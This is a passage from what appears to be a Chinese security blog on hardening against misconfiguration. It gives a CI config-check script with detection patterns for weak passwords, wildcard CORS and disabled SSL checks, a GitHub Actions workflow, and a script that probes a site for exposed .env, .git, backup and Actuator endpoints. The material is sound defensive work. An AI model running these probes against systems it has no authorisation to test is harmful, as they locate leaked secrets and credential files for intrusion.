    fail "Actuator 端点全暴露(含 heapdump/env 等高危端点)"
else
    pass "Actuator 配置正常"
fi

# 3. 检查默认/弱口令
if grep -rniE "(password|passwd|pwd)\s*[:=]\s*[\"']?(admin|123456|test|root|password|changeme)[\"']?" \
     --include="*.yml" --include="*.yaml" --include="*.properties" --include="*.env*" --include="*.json" . 2>/dev/null; then
    fail "检测到默认/弱口令配置"
else
    pass "未发现默认口令"
fi

# 4. 检查 CORS 全开
if grep -rnE "allowedOrigins.*\*|Access-Control-Allow-Origin.*\*|allow_origins.*\[?\"?\*" \
     --include="*.yml" --include="*.java" --include="*.py" --include="*.js" . 2>/dev/null; then
    fail "CORS 配置为通配符 *(应限定具体域名)"
else
    pass "CORS 配置正常"
fi

# 5. 检查关闭的 SSL 校验
if grep -rnE "verify\s*=\s*False|VERIFYPEER.*false|trustAllCerts" \
     --include="*.py" --include="*.php" --include="*.java" . 2>/dev/null; then
    fail "检测到关闭 SSL 证书校验的代码"
else
    pass "未发现关闭 SSL 校验"
fi

# 6. 检查 web 目录下的敏感文件
for f in .env .git web.config composer.json phpinfo.php test.php; do
    if [ -e "public/$f" ] || [ -e "wwwroot/$f" ] || [ -e "static/$f" ]; then
        fail "敏感文件存在于 web 目录: $f"
    fi
done
[ $ERRORS -eq 0 ] && pass "web 目录无敏感文件"

# 7. 检查 Docker 是否以 root 运行
if [ -f "Dockerfile" ]; then
    if grep -qE "^\s*USER\s+root" Dockerfile; then
        fail "Dockerfile 显式使用 root 用户"
    elif ! grep -qE "^\s*USER\s+" Dockerfile; then
        warn "Dockerfile 未指定 USER,默认以 root 运行,建议添加非 root 用户"
    else
        pass "Dockerfile 使用非 root 用户"
    fi
fi

# 8. 检查备份文件误打包
if find . -maxdepth 2 \( -name "*.sql" -o -name "*.bak" -o -name "backup*.zip" \) \
     -not -path "./node_modules/*" 2>/dev/null | grep -q .; then
    fail "构建产物中存在备份文件"
else
    pass "无备份文件泄漏"
fi

echo "======================================"
if [ $ERRORS -gt 0 ]; then
    echo "❌ 配置安全检查未通过,共 $ERRORS 项问题,阻断发布"
    exit 1
fi
echo "✅ 配置安全检查全部通过"
exit 0

接入 GitHub Actions 示例

yaml
# .github/workflows/security-check.yml
name: Security Config Check

on: [push, pull_request]

jobs:
  config-check:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Run config security check
        run: bash ci-config-check.sh

      - name: Scan secrets in code
        uses: gitleaks/gitleaks-action@v2
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

      - name: Scan IaC misconfigurations
        uses: aquasecurity/trivy-action@master
        with:
          scan-type: 'config'
          scan-ref: '.'
          severity: 'HIGH,CRITICAL'
          exit-code: '1'      # 发现高危配置错误则失败

回归验证清单

bash
#!/usr/bin/env bash
# A05 修复后回归验证
# 用法: bash verify_misconfig.sh https://target.com

TARGET="${1%/}"
PASS=0; FAIL=0

expect_code() {
  # expect_code <路径> <期望码> <说明>
  local path="$1" expected="$2" desc="$3"
  local actual
  actual=$(curl -s -o /dev/null -w "%{http_code}" --max-time 8 "$TARGET$path")
  if [ "$actual" = "$expected" ]; then
    echo "[PASS] $desc ($path$actual)"; PASS=$((PASS+1))
  else
    echo "[FAIL] $desc ($path$actual, 期望 $expected)"; FAIL=$((FAIL+1))
  fi
}

echo "===== 敏感文件应不可访问(期望 403/404)====="
for p in /.git/HEAD /.git/config /.env /.svn/entries /web.config \
         /backup.sql /www.zip /db.sql /phpinfo.php /test.php; do
  code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 8 "$TARGET$p")
  if [ "$code" = "403" ] || [ "$code" = "404" ]; then
    echo "[PASS] $p 已禁止 ($code)"; PASS=$((PASS+1))
  else
    echo "[FAIL] $p 可访问 ($code)"; FAIL=$((FAIL+1))
  fi
done

echo
echo "===== Actuator 端点应受限(期望 401/403/404)====="
for p in /actuator /actuator/env /actuator/heapdump /actuator/beans /actuator/configprops; do
  code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 8 "$TARGET$p")
  if [ "$code" = "401" ] || [ "$code" = "403" ] || [ "$code" = "404" ]; then
    echo "[PASS] $p 已保护 ($code)"; PASS=$((PASS+1))
  else
    echo "[FAIL] $p 未授权可访问 ($code)"; FAIL=$((FAIL+1))
  fi
done

echo
echo "===== 目录列表应关闭(期望无 Index of)====="
for d in / /static/ /uploads/ /backup/; do
  body=$(curl -s --max-time 8 "$TARGET$d")
  if echo "$body" | grep -qiE "Index of|Directory listing|parent directory"; then
    echo "[FAIL] $d 目录列表开启"; FAIL=$((FAIL+1))
  else
    echo "[PASS] $d 无目录列表"; PASS=$((PASS+1))
  fi
done

echo
echo "===== 安全响应头 ====="
HEADERS=$(curl -sI --max-time 8 "$TARGET")
for h in "strict-transport-security" "x-content-type-options" "x-frame-options"; do
  if echo "$HEADERS" | grep -qi "$h"; then
    echo "[PASS] $h 已配置"; PASS=$((PASS+1))
  else
    echo "[FAIL] $h 缺失"; FAIL=$((FAIL+1))
  fi
done

echo
echo "===== 版本号隐藏 ====="
if echo "$HEADERS" | grep -qiE "server:.*(nginx|apache)/[0-9]"; then
  echo "[FAIL] Server 头泄露版本号"; FAIL=$((FAIL+1))
else
  echo "[PASS] Server 版本号已隐藏"; PASS=$((PASS+1))
fi

echo
echo "===== 管理后台应不可公网访问 ====="
code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 8 "$TARGET/admin/")
if [ "$code" = "403" ] || [ "$code" = "404" ] || [ "$code" = "401" ]; then
  echo "[PASS] /admin/ 已限制 ($code)"; PASS=$((PASS+1))
else
  echo "[WARN] /admin/ 返回 $code,请人工确认是否为预期"
fi

echo
echo "----------------------------------------"
echo "通过: $PASS   失败: $FAIL"
[ "$FAIL" -eq 0 ] && echo "✅ 全部通过" || echo "❌ 存在未修复项"

最后再用 Nuclei 扫一遍确认

bash
nuclei -u "$TARGET" \
  -tags misconfig,exposure,default-login \
  -severity high,critical -o final_check.txt
# 期望:无 high/critical 输出
cat final_check.txt

最后:配置错误是管理问题,不是技术问题

A05 有个很尴尬的特点:它不该发生,但它一直在发生

原因不复杂 —— 配置散落在几十个地方(应用配置、中间件、云控制台、容器、CI),没有任何单一角色对全部负责。开发管应用配置,运维管中间件,云资源可能谁都能改,没有人对整体暴露面负责

所以解法也得是"体系化"的:

  1. 基线化 —— 把"正确的配置"写成清单,每一条都能打勾。
  2. 自动化扫描 —— Nuclei 定期跑全量资产,新配置错误能第一时间发现。
  3. CI 卡点 —— 配置检查进流水线,错误配置根本发不出去(这条最关键)。
  4. 职责到人 —— 明确"谁对生产环境暴露面负责",否则出事了全员无辜。

技术层面几个投入产出比最高的点:

  • Actuator 只暴露 health/info,heapdump/env 一律关闭
  • web 目录禁 .git / .env / 备份文件,用 return 404 而非 403
  • 云桶一律私有,用 STS 临时凭证代替 AK
  • 容器非 root 运行,不挂 docker.sock
  • 管理后台不对公网开放,必要时加 IP 白名单 + 双因子

配置错误不是"技术难题",是"管理问题"。管理问题就得用流程和工具解决,靠人自觉是不行的。


⚠️ 声明:本文所有示例、脚本与命令仅用于授权的安全测试、教学研究与自有系统加固。请勿对任何未授权系统进行测试,违反者需自行承担法律责任。

SecLab 网络安全博客 · 内容仅供安全研究与学习,请勿用于未授权活动